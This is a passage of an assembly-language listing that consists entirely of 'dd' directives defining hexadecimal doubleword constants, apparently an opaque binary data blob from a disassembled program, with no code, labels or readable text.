		dd 967EFCFEh, 0F0061ABh, 289DF44Dh, 0C8B5F6h, 0DA66144Ch
		dd 63FE9FEh, 320E72F6h,	0C0FC4415h, 140A732Bh, 1E761208h
		dd 0F42D0F91h, 0C2E3164Eh, 0F5F00C77h, 5B096928h, 80A4F1ECh
		dd 4484A815h, 592A0BF2h, 2E801351h, 2C04E799h, 0B8E45500h
		dd 0BAC30998h, 3E530035h, 4568F4A5h, 703A92Ah, 0EA96DA49h
		dd 20F0B791h, 0FE1B26Eh, 430EA27Bh, 28123201h, 5C0BC40Ch
		dd 0FB30DCE5h, 0ECE2200h, 765A02F5h, 0B3630031h, 0BF9A99FFh
		dd 74042843h, 5371B517h, 880E2B83h, 1E4604F2h, 8772CE3Bh
		dd 0E01284D2h, 0B3980165h, 672BF800h, 0FA5344D0h, 0E478B03Bh
		dd 0C6E4A074h, 181A0064h, 9D4DA88Ah, 5301E17Fh,	0A224290Dh
		dd 58F4AB19h, 1AB7005Ah, 9424C46h, 3B003491h, 0DE0876F4h
		dd 46160A3h, 0C62B10EBh, 14008040h, 8D007B80h, 1D0B7512h
		dd 41FDB6h, 34C9A62Eh, 8CBEDC88h, 4308FE00h, 389B4CE2h
		dd 475800BFh, 152D10CBh, 53BD20Fh, 5D770018h, 0C41D330Bh
		dd 212E0072h, 0D955287Ch, 71EB9214h, 735520AFh,	7D450E00h
		dd 251E9622h, 0CE7F0044h, 0A41CB154h, 520FAF9Bh, 0E0C52129h
		dd 34EAD22Dh, 25C100BDh, 0AF04461Ch, 11005B9Fh,	16CF6B88h
		dd 3F128584h, 0B0001B68h, 0AE1AACA8h, 31244C3Eh, 16015B13h
		dd 12249B0Bh, 888AF8h, 0BB41F2CBh, 931433C6h, 2600437Dh
		dd 17D9C48Bh, 0E4D52CEh, 1C82E937h, 46C60600h, 0CC1E3248h
		dd 88803929h, 7442CD0Bh, 2BB40315h, 34480C64h, 33A08E9Fh
		dd 0CE60C182h, 0E31D4C03h, 885FCF4Eh, 0F6C3D9h,	6E8C5D54h
		dd 98333C2Dh, 221FCF7h,	0CDA90F03h, 88C00755h, 3942E93Eh
		dd 50F798Ch, 0B88045F7h, 88FAD346h, 0E68A000h, 0E1DEA9EAh
		dd 3C84FABh, 0C76E04D5h, 3F005A8h, 3557821Ch, 203DE480h
		dd 4DAF33h, 528B331h, 1201640Eh, 38EBC300h, 0E3433C0Ch
		dd 56143E84h, 0B8157500h, 595DDA48h, 51A77209h,	160E836Ch
		dd 0CFE3980Dh, 9163004Bh, 6E4A2D83h, 0CC0062BAh, 1CA939A8h
		dd 4A478EAAh, 0FDE8ABh,	0E4AEC8ADh, 799072AFh, 921C0039h
		dd 51645C95h, 0A80E4FCDh, 1F31825h, 212AE344h, 2C8BDCh
		dd 3016F5E4h, 51BF707Ch, 82593C00h, 4A082991h, 85BDA0AEh
		dd 21280018h, 90E56C04h, 3100E651h, 0EB34098Ch,	1210B803h
		dd 0FAE77011h, 0D48D1C01h, 98F4A4E0h, 0C3951DE9h, 5806C0F8h
		dd 0BC4408EAh, 24DE1848h, 0A81CA992h, 0E20E8Eh,	6F747375h
		dd 1749006Dh, 0EE46696Eh, 45009112h, 0FAE4E04Ch, 0FC580DEh
		dd 0B461E524h, 0E70AE340h, 9D1EA04Ah, 0D0802BB0h, 788CD541h
		dd 198D1649h, 0D63601ECh, 80094406h, 0C99C54D8h, 589575h
		dd 0AFB6D952h, 0B85F5689h, 0E610130Eh, 0EB6A8085h, 337C336h
		dd 73F5E9Dh, 0BDE0FF18h, 0AA01791Eh, 3E7E0283h,	3DE81B5Ah
		dd 11360032h, 7FB6C28Ah, 6100E1F0h, 75780A05h, 16B22F26h
		dd 0FF3247h, 0BFD7D079h, 0BB003199h, 0F4614D08h, 0F2CBA9Bh
		dd 0A2FA6CE6h, 4B1B8260h, 0E2C5462h, 8B004BD0h,	0CC3B805Bh
		dd 0E5430074h, 0B075EED7h, 0D472CAFAh, 5AC07C00h, 0E0AF255Ch
		dd 612F0045h, 754B64BEh, 0C800958Ah, 0B90453E2h, 0D8371h
		dd 97BD8B2Ah, 512468F6h, 8A791B07h, 0AFEE98A4h,	12FF8053h
		dd 2C9690h, 0BD54C597h,	0D4F74FC8h, 0EC68E700h,	0F508138Fh
		dd 0D23A079Bh, 0B005F4FAh
		dd 84494EC2h, 2D223100h, 0BFC5443Fh, 0DD010985h, 7180F05Dh
		dd 0E925A0C9h, 1F41F300h, 6AF8886Bh, 425200C4h,	3D9BD8E7h
		dd 130711D7h, 8DCAEE7Eh, 0C7DDE1D3h, 0B343F2F1h, 1EA4BD8h
		dd 0B8D408B6h, 0CC1015E8h, 0FB01D7CAh, 5F62DA23h, 6F603D86h
		dd 0D4F50FC8h, 49A51C7Fh, 0CD7B80D8h, 210382E8h, 0D3924CF6h
		dd 0C2B8E029h, 3D6C3ED7h, 0E0E8B28Fh, 80AD1144h, 7F7688C7h
		dd 123D409h, 85F881D9h,	7DD83AE9h, 7C4A7682h, 0F62C06Bh
		dd 0E29FDB86h, 110E3E98h, 0E0A0E165h, 0E98C841Dh, 962A03B9h
		dd 2BE7687Ch, 0AD80EBC0h, 8036DE3Ah, 7D974702h,	7FC06BCDh
		dd 0DA1B00EEh, 0AA77CB87h, 6F986080h, 57F6471Dh, 0DEC78880h
		dd 0FA614E6Ah, 0AB100077h, 81E812B5h, 0DB07F440h, 4151A17Ah
		dd 5A6CA770h, 0B2880064h, 0EB0B8A7Fh, 460E5CC4h, 0E312F1AFh
		dd 0D3FD971Eh, 88CEE8F4h, 83035C5Eh, 0C0085D00h, 9E509D1Ch
		dd 0D43E2600h, 45975B55h, 23B8002Ch, 0AF9829F8h, 750548C2h
		dd 0D1777E9Ah, 1D8531C0h, 3AB5004Eh, 0C7E51549h, 0EE00A62Bh
		dd 2244AC93h, 1C8144Fh,	4A27958Dh, 60BE4E53h, 165C2DCDh
		dd 5A0F7A69h, 0A19F519Ah, 6A85C03Dh, 0F9D80CCh,	364F726Dh
		dd 5654A280h, 0EE009729h, 0ADF9FC2Ch, 355AA92Bh, 80EC5F79h
		dd 4DA55F7h, 59781EF6h,	8BE46500h, 84F77380h, 0FCE80006h
		dd 0B487EF29h, 0FF01D659h, 14ED7562h, 25D45BB5h, 9CCB03D4h
		dd 0AFAE2EB8h, 4565B6B8h, 4A264800h, 91468B58h,	1C5E984Eh
		dd 3E3277FAh, 3F47E000h, 5C4482AFh, 9CC08B00h, 0CE9D52EBh
		dd 0E8020025h, 27E9B070h, 503C494Ch, 327A804Dh,	0E1C3FD51h
		dd 17F10038h, 0E41AA5F2h, 0A65ED3F8h, 1E0CADA0h, 8055FF5Ah
		dd 0B54B7D8h, 0B53D018Bh, 3A459FFCh, 0AE93DD00h, 79409261h
		dd 0CDEC0103h, 2CA97513h, 0ED0A203Fh, 0AA835407h, 0A7F09184h
		dd 399D62E6h, 0D180F6D8h, 0ED7CE207h, 0BA00E410h, 0CFE9034Fh
		dd 0F066A9h, 5E1512Fh, 0B455E289h, 0ED71410Eh, 0E3BB60B7h
		dd 0B62774h, 0B80C5AFFh, 66BA9347h, 1ACC9200h, 48EE0468h
		dd 27EB0063h, 0D745C36Eh, 2B0E6CA4h, 0E0F4907Dh, 0DBE78DF2h
		dd 5854005Ch, 0B5860A0Dh, 0CB007073h, 0EE695230h, 909C9Dh
		dd 34A1659Fh, 0D0AC1A5h, 566E5800h, 0E8544232h,	7ADC005Bh
		dd 628BB5FAh, 70E61873h, 0C100EE7Bh, 0F09053D4h, 286E3AE7h
		dd 28F2DEDh, 4F1323Bh, 0B4874B7Eh, 0EEC770D3h, 1200931Ah
		dd 84388B70h, 4CAAEF25h, 9500163Ch, 5E3D75D3h, 0C50086ECh
		dd 0C46D5C0Dh, 0B11A68h, 3E3FEF2Ch, 51592782h, 0C04AB000h
		dd 806C4564h, 3ABCFE42h, 0E4034787h, 0EBC4888Eh, 0C64B3DD0h
		dd 0A28A4807h, 90609F60h, 0AFD6F2h, 0A75BDA3Eh,	0F03810C8h
		dd 50052EAh, 91FCF91Ch,	7C3FE850h, 0FB27A42h, 846C3AD7h
		dd 0CE3D7160h, 0E23FA4F9h, 0A95CC78h, 80D0C520h, 0E4B3003Ch
		dd 9504412Fh, 0A8C20FA4h, 94906F3h, 21C78C00h, 111EEC01h
		dd 0F480F064h, 48540240h, 57341F90h, 4CA309F1h,	29075056h
		dd 5490F084h, 0DFA9020h, 0C1FB7C36h, 0FC19713Eh, 3100F84Ch
		dd 32D0C403h, 237F9Ch, 68E882B4h, 42370122h, 18FC0C00h
		dd 0F2470433h, 0E41C73E1h, 788D02D0h, 70C34125h, 1101B560h
		dd 6C31D101h, 748984FCh, 0FAF1B8E0h, 2BD4E938h,	68410636h
		dd 2C09FC9Bh, 0D4343Bh,	909A50E8h, 0A09108h, 3768337Eh
		dd 94C70A8h, 888C0403h,	0B8CC6011h, 0F45FC808h,	524F0058h
		dd 0B0D73631h, 7A0EF325h, 0A054126Ch, 881460B3h, 0BAF2F2h
		dd 11E48C23h, 28524347h, 7C033B25h, 646E00ABh, 0C19C729Bh
		dd 0C4001890h, 0A20C63Fh, 700FC316h, 677803C8h,	835318E3h
		dd 667DE880h, 8B04EB01h, 860D881Ch, 32C3A840h, 0E88900D5h
		dd 751E498Ah, 0F2005BF0h, 99241338h, 1CB0F61h, 4F51752h
		dd 0F09AAF90h, 4700A94Eh, 3B07BC5Fh, 28F37406h,	0B5D0FCh
		dd 0EBE858C9h, 349BAF18h, 22F94A00h, 0B8B3AEB5h, 8D1A0096h
		dd 5F048B98h, 89751490h, 0C4119F02h, 0E082C648h, 104CF0h
		dd 3F845070h, 0FE8F5440h, 0A3FB2300h, 0B0D5F7EBh, 0E12C00E8h
		dd 33A040Bh, 8A0083CFh,	31B7E7C1h, 0BEF4BE9h, 3748D0E2h
		dd 0B00CE300h, 2400BA30h, 0FD0B07EEh, 0FE047A03h, 0F8D60FC7h
		dd 1E80733Ah, 25EF64E8h, 0F9068303h, 0C80C7B23h, 0EEEB3A4Dh
		dd 0F79B0F08h, 7C00946Fh, 0FE15EECFh, 18633D0Ch, 7C42FF8h
		dd 182E9ADh, 0DF03707Ah, 3A0396B3h, 0DEB9813h, 29DAC80Bh
		dd 9F460073h, 7410573Bh, 0C401BF21h, 161472A4h,	63F8D843h
		dd 0A8180091h, 1A1C89F6h, 0E2001384h, 33582008h, 38885F0h
		dd 0D0CEBB18h, 0BC84CB1h, 0F0F33511h, 6500D428h, 3E2CAF6Ah
		dd 872274h, 0A7C83042h,	341C8C71h, 0C0908500h, 3839A9E2h
		dd 0DE883C1Ah, 0E8BC3C81h, 0CDD10F0Ch, 36C03AFDh, 12AD4h
		dd 7999C581h, 0EA035A82h, 267FB800h, 0EE1885F1h, 0E3210086h
		dd 0CD0C8C6Dh, 10006AF0h, 8BA629AEh, 4D0540h, 0EB8AF142h
		dd 524A1BC3h, 0E90C1000h, 206A1550h, 97D40F29h,	178709C8h
		dd 4789D0B1h, 8F036374h, 6A0D15CEh, 0A3261D30h,	8810D4C8h
		dd 0B819B207h, 452E108h, 34CAE0A4h, 0C8C54200h,	0F1465614h
		dd 64EE0788h, 302448F4h, 8D52D21h, 44CF3300h, 56107A34h
		dd 5C843ED2h, 1580223Eh, 78F26E88h, 8503E469h, 95AC1810h
		dd 92C4D143h, 0F9823E8h, 0F42808B4h, 0D721D160h, 0E8003891h
		dd 0D6E086FAh, 0AF584h,	3CF312C4h, 88E5420Dh, 21561C0Fh
		dd 36E24739h, 86EB1197h, 61862C27h, 0D07B3875h,	831FF022h
		dd 0C7813A07h, 6E10D9A1h, 33FE9Dh, 86E805B9h, 992804E5h
		dd 0B000AB76h, 0C11FA689h, 7ED3E93Ah, 8F5C00D6h, 0DC48109h
		dd 4C3F1C71h, 0F01E001Fh, 0B83534D0h, 58081C9Fh, 0F8FF7E53h
		dd 0D77D0Ah, 90CF7BE9h,	94AE1121h, 0C27C2903h, 0D116E602h
		dd 28F8F427h, 0D74F07E1h, 9040100Fh, 6C5018C8h,	4487D100h
		dd 1DF62938h, 0A2040091h, 0A3461C7Eh, 0C4022421h, 8CBC68CBh
		dd 0E8746042h, 934EA76h, 3AD80784h, 0FA44D500h,	43031F38h
		dd 0C22C21F5h, 0B71EF347h, 1C9020BFh, 2CD264A1h, 185BC90Bh
		dd 0F81F22E9h, 43FE3300h, 94D703F9h, 0F58100EBh, 7C57E2C1h
		dd 0B41C6089h, 1802414h, 1006484Ah, 844C055Ah, 81215072h
		dd 30F63AF6h, 5600AA6Fh, 2710D79Ch, 4C7DD948h, 3A00F311h
		dd 8A40D5B0h, 1F00D859h, 148C1C7h, 1674523h, 894C0E81h
		dd 0C0EFCDABh, 0DC00FE50h, 3998BA20h, 72107654h, 58020032h
		dd 0C3D2E1F0h, 0BF1E5C07h, 0EC522BBh, 1CFF9860h, 452606h
		dd 8940ABCDh, 672C0868h, 80385545h, 2D1E0F6Ch, 0A42F3Ch
		dd 0D9D604ADh, 0F08C09BFh, 0F0AF593Eh, 10AE058h, 80080344h
		dd 6E60405Eh, 1E7E0515h, 802B0D6Fh, 0ED3E2484h,	0DE9EC500h
		dd 6943A553h, 51FF00F0h, 1E76D414h, 83008FA9h, 0AED7E0C1h
		dd 38B35FC6h, 0DF800CC3h, 9714746Ch, 5303D1A0h,	9DC48B40h
		dd 0F42FB871h, 45290024h, 7DFAD5CAh, 0BD1C7BF8h, 0D95764DEh
		dd 0EB077E00h, 7B5777Eh, 0E596016Eh, 0DB5E433Fh, 35E9EDE0h
		dd 7450BF00h, 5BDF3BFDh, 24A8027Dh, 42F2E20h, 0C278E640h
		dd 424FEB00h, 91129AAEh, 2560364h, 0DF2B18C6h, 3CCD2988h
		dd 40E62800h, 0E803C0DDh, 0E75D000Bh, 46FE7C41h, 8A001D29h
		dd 19EAC783h, 0FB06EBh,	0C6EC7DD8h, 6FC5034Dh, 0BD51A600h
		dd 7B7A48D4h, 0C8D20114h
		dd 60A478B6h, 3AE0CE6Ah, 9A0024DAh, 0E93E2344h,	3A2F0710h
		dd 5D5CF05Fh, 0E133FD01h, 0D5F6562Dh, 34DAD805h, 8F2BD300h
		dd 2048CAB4h, 7D3C0E0Ch, 0F9207CF7h, 48063FDh, 170DB3Fh
		dd 0A069C824h, 0E2C8D44Ch, 0F0FFA11h, 3FF89F1Fh, 45DFAB60h
		dd 0C100BDCEh, 24D4F0D1h, 1C4E34E7h, 40CCD2A7h,	10A8116h
		dd 0F33DFE03h, 0AF0403F5h, 0B97C0F14h, 0ED20218Ch, 0E8E728CAh
		dd 2AE0FFh, 474D87C6h, 1B8C54F1h, 0CEDB430Fh, 0F9001209h
		dd 30461302h, 2C1002A8h, 1CC487D5h, 0F1955141h,	0EC5DD5FDh
		dd 0EA00C909h, 220880Bh, 3C8098D8h, 0DB0F0E69h,	16C05642h
		dd 90F87723h, 0AF0F2400h, 885144F7h, 95D100A7h,	1C28200Ah
		dd 0FF005BB1h, 0FCB81061h, 7EBE802Ch, 895C00D7h, 85BF0CE3h
		dd 12430E4h, 6B1DD722h,	8DC807Dh, 0CC3587E2h, 348C3872h
		dd 98719307h, 0DCE873FDh, 0F92188F0h, 138E400h,	0A679438Eh
		dd 24447508h, 1EA6E2D6h, 49B40021h, 8CA9F094h, 0EB004BFEh
		dd 6204405Ch, 1E2515h, 0E81069F6h, 0C88C949Ch, 91000577h
		dd 400318A2h, 0C092B3h,	0DCAD6982h, 1478E51Ah, 0A58CB000h
		dd 5A51F541h, 326015Eh,	4FD266DEh, 8CA6CCB4h, 120E4000h
		dd 72989A8Eh, 0B60409AAh, 0D68356E9h, 0EDC0CFB0h, 0FB01EECAh
		dd 0A50C1440h, 5DD83E8Bh, 2F102C11h, 0DD27002Ah, 0FA471C3Ch
		dd 5308A7A0h, 2441407h,	36E13842h, 0AAF83B23h, 0E6E400F4h
		dd 29D8A120h, 8B00D769h, 56EC3F08h, 0E029899h, 0E7D3FBC8h
		dd 24DD8C00h, 621E81E9h, 591E46A9h, 0CDE60F38h,	232100E1h
		dd 7A844B3h, 0D6803828h, 0C337A207h, 88E7F7E0h,	130C5138h
		dd 0AB000D87h, 4286F5F4h, 20F238CBh, 5A14ED00h,	0DE188045h
		dd 0EE7D847Dh, 0FB60E1A2h, 430F99E7h, 0EF3F108Ch, 1CFB84F1h
		dd 0C0F876C2h, 0EEFCEF37h, 7ED8FC50h, 408E0953h, 0C081D91Ch
		dd 7E78676Fh, 0ED576D80h, 803000B8h, 2A204C8Ah,	0A47D438Dh
		dd 0B9387A7Dh, 394200F2h, 0A196FFFAh, 9B7C62h, 0BF0AB433h
		dd 0D0AE528Ah, 71F64207h, 0EA909087h, 1B799DEh,	0D9040B44h
		dd 0D42BCEFBh, 9D3D6122h, 0FA093D6Dh, 1020B509h, 387100E7h
		dd 0B05A0C74h, 2A1A00EBh, 0C823E2DFh, 9281317h,	1501A43Ch
		dd 84A4BEEAh, 0FB701F8Eh, 1CFC0043h, 0DCA98110h, 21FC4BDEh
		dd 5D3E6E67h, 20C47E0h,	4BBF860h, 3F8D05F6h, 70019084h
		dd 0BE5CBFBCh, 34FC00D3h, 237EC680h, 0A3E8FF9Bh, 3AC700E2h
		dd 27FAEF68h, 0EA00A129h, 0A2F11183h, 5C4014E0h, 300E8E0Ch
		dd 409DD4EFh, 8018F8DAh, 20011D05h, 31210488h, 0B20F1E0h
		dd 0D4D01439h, 2600C146h, 0FD4AB1EFh, 0CF002219h, 0DB99E505h
		dd 8421E6h, 3D0FE075h, 0E72BD864h, 0A27CA100h, 9F94021Fh
		dd 7C5B084h, 0AC566504h, 7CB560C4h, 4400E6A8h, 0F4293022h
		dd 3C89940h, 0EECCCB0Ch, 6C8BE6Eh, 0B2C0A5CDh, 0FF97051Ch
		dd 0F443002Ah, 0E9140BF6h, 8704DDFCh, 0EC040AA2h, 23A75990h
		dd 0AB940025h, 210B7049h, 834C71D0h, 810F0A3Ah,	1400DE11h
		dd 93A03913h, 0E9E00001h, 430CC902h, 0FA73E8F0h, 409A6C00h
		dd 55940B15h, 59C30070h, 2B655B20h, 8C3CC925h, 39FE80E2h
		dd 0CC92010Ch, 188F01D5h, 0C4DE4388h, 0E1A2F878h, 0F47DC200h
		dd 448C2AEFh, 203B01ABh, 5DD10804h, 8EDA8584h, 0F687A0C8h
		dd 7E804FD7h, 18216FA8h, 0ACE551B1h, 0E0001F3Ch, 8A32CE6h
		dd 77BDF14h, 0F959FFDAh, 1438360h, 8C0ACEAh, 0D101DD37h
		dd 0E9A10334h, 1AF84E08h, 0E2CEACAh, 10E2F142h,	537E8200h
		dd 3D7E80F7h, 71888F00h, 12CE4FFh, 3AF20035h, 8DA018BDh
		dd 0A2389010h, 0D2BB0C08h, 7A43C8D7h, 60523FC3h, 1B91C200h
		dd 0BAEB86D3h, 16D7E300h, 0DDF83326h, 8C4D3D61h, 0DBD6F200h
		dd 0D3F5FA63h, 12E439h,	0F65284EFh, 408AE2h, 7FC33F2Eh
		dd 6545A28h, 0B758F8EFh, 0D44A7C1Fh, 0DC80D093h, 1E1194E0h
		dd 0C60E0BE4h, 8A9CFA0Fh, 16BEFE0Eh, 0F8C940EEh, 37F2A42h
		dd 0DE7948C8h, 7DE83422h, 0FA015CD7h, 3CEA88F6h, 0B9DCFE55h
		dd 0C27900E9h, 442BE7AAh, 0C400BC08h, 0E82FF658h, 1F919D36h
		dd 0C1F9944Ch, 0A9C83A6Dh, 0C1ED8C4h, 420083B0h, 0F2A3E97Dh
		dd 3BF4C51h, 508E14C0h,	0C2FF2BFAh, 0FB602381h,	540F1016h
		dd 8E25AE87h, 0E6B400C7h, 0AFB5C8Ch, 7EB2BA1h, 0C5DF00C3h
		dd 27D72114h, 6AFEE151h, 39012FB0h, 508F18F9h, 7670EDFh
		dd 8FC4B746h, 801C2CA0h, 8703E07Bh, 17230910h, 16D0C762h
		dd 112046h, 0CD97F37Ah,	9DD74F42h, 0DC42300h, 3F01C004h
		dd 1E1E9821h, 830EB2FEh, 2C206AEAh, 0C4E027D8h,	11080F0Eh
		dd 8502E0D8h, 9103090h,	6E2E152h, 756C7B87h, 34318042h
		dd 0F41E51C2h, 19000731h, 0E2381135h, 0F29BFE09h, 3C900F1Fh
		dd 8F41D584h, 0F4C710AEh, 9D00F8B8h, 0CDBF33A2h, 6CF313h
		dd 0C56D6F25h, 7CBAA4C8h, 6E57E700h, 4E922346h,	87D017EAh
		dd 0A980000Eh, 6D2E1037h, 0EF4AAD00h, 0BA7A41CAh, 0BED9004Eh
		dd 374C45FDh, 0B6009734h, 1808400Dh, 0E4E4FBA5h, 9F9E1EEDh
		dd 724E00E9h, 0DC86DF6h, 24251F7Bh, 54A7407h, 0C09BF2D1h
		dd 2837489Fh, 41CD48C0h, 30C710Bh, 0D2F11323h, 18B00ECEh
		dd 80209C4h, 41DD817h, 0F652E18Dh, 3783CECh, 1B198107h
		dd 0B2F05411h, 37049958h, 9713270Ch, 0F80AC386h, 403C0030h
		dd 443B707h, 0CF01AEF1h, 108F700Eh, 1790710Ch, 807A3DE5h
		dd 2456092Ch, 130530h, 31D634D9h, 0EC581E14h, 4967AC18h
		dd 0C86BB21Ah, 96030872h, 0E048F83Fh, 8538ACh, 1F05CA62h
		dd 0C4D0A1BEh, 0D782C07h, 87B1FB80h, 0A230A8EEh, 1E7220h
		dd 0C514460Ch, 1CCB0643h, 9C4E39h, 0D1383DE9h, 9FBD8h
		dd 0C6F84AE8h, 150B401Eh, 620F9300h, 24E50676h,	5A6E07A7h
		dd 0F05D4F92h, 0F87D112Ch, 800D883Ah, 763AAD13h, 0B96795h
		dd 0E06E434h, 3EFD90D2h, 801D743Ch, 112EE871h, 71513CE7h
		dd 92BE0007h, 0B793138Fh, 0E8003E77h, 0E90CD204h, 2FC9B633h
		dd 6D5C42B1h, 0CFFF3C0Eh, 4910E037h, 998CF9h, 775580Eh
		dd 0BC5AFA94h, 7C21FF1Fh, 0FE75C82h, 0C8824088h, 467E3A07h
		dd 818EA4h, 0FC2B12CEh,	1C0451FFh, 0D303110Ah, 180495C0h
		dd 42413B6Ch, 0FE3F8A03h, 84F13550h, 27E67023h,	0A7DFE61Fh
		dd 8738800h, 901E1859h,	6E5FDD3h, 2A81AD4h, 5C48734h, 0E6E1D004h
		dd 0EE03023h, 4414E90Fh, 0E487470Ch, 46012860h,	0CA9200D4h
		dd 93F8435h, 0FFF218E2h, 9C34A13Eh, 0FB474608h,	1B500520h
		dd 972C4h, 0BAFCB27h, 24D45E62h, 0E0FA5100h, 8F1BBCDCh
		dd 9321FBBBh, 5CE2F8h, 34F5B0EBh, 0C4AFBD37h, 8B09D000h
		dd 230B9F07h, 79990EF8h, 0D4E073EEh, 928D337h, 0A420500h
		dd 0F923C2E7h, 0B7948E6h, 8CFC1B00h, 37A6686Eh,	761E9400h
		dd 0F9844E74h, 3AB00717h, 0D0E924D5h, 379A728Ch, 134625h
		dd 859D8DA7h, 71620021h, 20471CD5h, 3173CF92h, 23132B09h
		dd 4C10130h, 0C8E40AE6h, 8F10610h, 0F80B1E01h, 0E2FD2E00h
		dd 136992E9h, 0A8441E38h, 0FF229D61h, 80D64D9Eh, 98E78F0Ch
		dd 847958E8h, 1C118700h, 0B00F05E2h, 3C2313BAh,	0FC7E06C4h
		dd 383D660Bh, 0C318056h, 71FA4179h, 3449310Dh, 301A06B8h
		dd 58FE7404h, 50D76030h, 1F8AE518h, 7ABC439h, 0D043972Ch
		dd 0FBF20888h, 0C0D21300h, 2EFD4EA3h, 6FA90053h, 22CFEEE4h
		dd 0D000817h
		dd 3F293C3Eh, 5C6EAE32h, 0FF0028CBh, 0FC8F5B8h,	0D00340Bh
		dd 332A3BB7h, 2E8EE44h,	4EB7C12h, 2A400672h, 7A006C1Bh
		dd 0B73B0D5Ch, 61334Ah,	75D86FE8h, 4ED4726Eh, 0ADAE30FBh
		dd 1CB20D00h, 0A2E93398h, 6EE20082h, 53524C5Eh,	3018793Ah
		dd 9BEFE4Fh, 6D0E0007h,	0D1FF6A38h, 505C11Ah, 35C53A3Dh
		dd 23B0D987h, 17B4228h,	369E14ECh, 0F8792154h, 0FFFA3865h
		dd 0D903F498h, 14012B93h, 0B7A7EFACh, 0E0A150E3h, 0FD248Dh
		dd 0E20C43F4h, 0F01020Dh, 7F0A1F02h, 0C0F0FF20h, 0B0418C96h
		dd 0C8F8FB10h, 7AD0052Ch, 0C53E85EDh, 78C80FE9h, 4BC12D2h
		dd 31DA6DDCh, 368742ABh, 0D3A0503Ch, 7EC02E8Dh,	0EA14389Ch
		dd 0EB74FFh, 0B2104207h, 39C2DF89h, 0BC9FF4A9h,	8F8C02Dh
		dd 144B5C7Ch, 180022FAh, 26571F5Eh, 4E647FCh, 4550A2D2h
		dd 26C3BB31h, 6A7A00C4h, 38293F10h, 0EE079133h,	92ABE81Dh
		dd 0C4488FD0h, 0B81003A9h, 3330B559h, 93DB9EF0h, 454B3100h
		dd 10DC4267h, 0A534814h, 0D0E90075h, 0E2923049h, 4D3EAD68h
		dd 0E12F1E33h, 2E661183h, 48FEE0E5h, 20030746h,	0D261260Fh
		dd 4C60DC2Fh, 0EF06A908h, 51597152h, 0C0967B12h, 0DC9C85F2h
		dd 0C4002E9Eh, 342C11DAh, 7C08FFA5h, 5CD203CFh,	1853DE90h
		dd 4E0E2D2h, 1F001235h,	47E13C91h, 3DFD2204h, 6ACC67C4h
		dd 0A8422000h, 622ECDF0h, 1600A67Bh, 11FF4AE7h,	0A4DD9Bh
		dd 0D9A341E2h, 0D563F3FDh, 0CE7D84FAh, 396E6900h, 0A52D7389h
		dd 4D60F93Ah, 132F0921h, 0A98230F9h, 9030546h, 35CDD868h
		dd 767AC1h, 0DDFE2D8Dh,	5C4DD1C4h, 0A148F600h, 100B13A9h
		dd 0E2DE0095h, 0F137BA2Ch, 0E003D96Dh, 423571FEh, 571CF0CCh
		dd 1E5AFC0Ch, 3B8A5B3Eh, 0E00594Ch, 95144327h, 157BCE48h
		dd 799CD707h, 13B04975h, 14689BCh, 0CB342306h, 0EB427BE5h
		dd 88F045EBh, 7158DFA8h, 175C03DCh, 3E48F3ACh, 8C24B336h
		dd 2F8F0F8Eh, 74E481A7h, 5659C18Ah, 3C413015h, 107F10Fh
		dd 740E138Dh, 2062E79Ch, 5456A1CEh, 13F4CF24h, 0E0BB2658h
		dd 0E4300041h, 6A8B2E8h, 1F16483Fh, 64AEF2B1h, 0E7C91003h
		dd 94A4135Dh, 0F6540E9h, 0BD164261h, 0F51CE5Ch,	469A0Dh
		dd 1908AFF1h, 0FAB9F6DEh, 1FE27B58h, 3A01E97h, 6D703EF3h
		dd 4EE1D7A8h, 57AE47Ah,	0C2153F00h, 693314CAh, 4A2165Bh
		dd 431B1D1Ch, 9ACEA93Bh, 56A05CE8h, 17682103h, 0D04C0CF9h
		dd 1E888EEh, 386EEBB0h,	0FC4B9F60h, 0D57FA09Ah,	0A31E32B0h
		dd 0D00F73E2h, 68B4A0E1h, 7CFFB07Ah, 7847ED6h, 959F8C09h
		dd 181450D3h, 0ED90A171h, 0A1BD01Fh, 0DE67B681h, 88E84FE9h
		dd 1892030Eh, 38B5A1E6h, 0F84BAFC8h, 123E8E78h,	3ADA929Dh
		dd 0E3A24B40h, 3F810D68h, 0E0BF1B13h, 1FA16EF9h, 3C26C07Fh
		dd 393B054Eh, 19131005h, 38C108B2h, 2CF0F4A1h, 29AA263Ah
		dd 0DF10084h, 64FB1912h, 0FE9C5201h, 44F9AD21h,	0FA9A04F0h
		dd 2C10F23Fh, 0D4A042h,	0DE7FF49Fh, 340A9485h, 0B7D3A1FEh
		dd 0B43E502h, 3F2BE0F1h, 15AA1668h, 0B756005Ch,	7B7C8CC1h
		dd 0BD006A7Dh, 0C36F18CCh, 0E389D86h, 9F1A76A6h, 6B08AA20h
		dd 100171E5h, 0D3FA6F90h, 4FF043DCh, 0C7CF741Ah, 6039E5FCh
		dd 7D316F10h, 0B3E9700h, 0A61AED16h, 0F18A0EBDh, 1060EEDCh
		dd 0CE937D68h, 24C44B00h, 11139B1Bh, 880D1C28h,	7D9F802Ch
		dd 0E915675Ah, 1E60FAE5h, 0B2F6D610h, 88020600h, 7E8B1F1Bh
		dd 0D05B07E6h, 700DE940h, 0B21C9D7Bh, 1BB7240Fh, 0B5212113h
		dd 9971C4E6h, 2E2DC0C7h, 708C092Ah, 7A001C49h, 30180E04h
		dd 7E7B8800h, 2215A585h, 1C370009h, 3B251336h, 8C00140Eh
		dd 6ED2B2F8h, 90E48FA7h, 34C802C0h, 647EA1B8h, 1C983BE0h
		dd 91103F0Eh, 88A820E7h, 1F597F20h, 87CC010Ch, 0E0C8C50Fh
		dd 0E9A109EDh, 6FA55700h, 13E299C7h, 44D4C1Dh, 0C40F1700h
		dd 7F8E4428h, 2A4C2D72h, 1D4A028Ch, 0E04E136Ch,	38459Dh
		dd 9F61ACAh, 5A32BFDEh,	0D104FC17h, 1DA07801h, 9B30841Eh
		dd 9A3828BBh, 8FF4B7h, 3501D291h, 0EE34FC02h, 0A8333D1Dh
		dd 2D1E5FC0h, 3823F5Bh,	0B2FEFDF0h, 0C3D721DCh,	2CD8716Eh
		dd 5C010510h, 14125579h, 7AC889A8h, 0F21E1F43h,	0FEB0C020h
		dd 23A09CB5h, 8452ECE7h, 3DD9D70Eh, 0BFB26E32h,	18411EBCh
		dd 4B0EFE80h, 784598Ah,	82C1F04h, 323F0ACh, 0CD072D11h
		dd 7834E587h, 508006A0h, 7D30F31Fh, 2370FB21h, 7CC43DAEh
		dd 3F283E80h, 0FDAF25D6h, 7088531Dh, 9085007Eh,	0FEDA100Ch
		dd 0FAE21DE5h, 0D69C86A2h, 8E0E82E9h, 69F7B795h, 0B0D802Ch
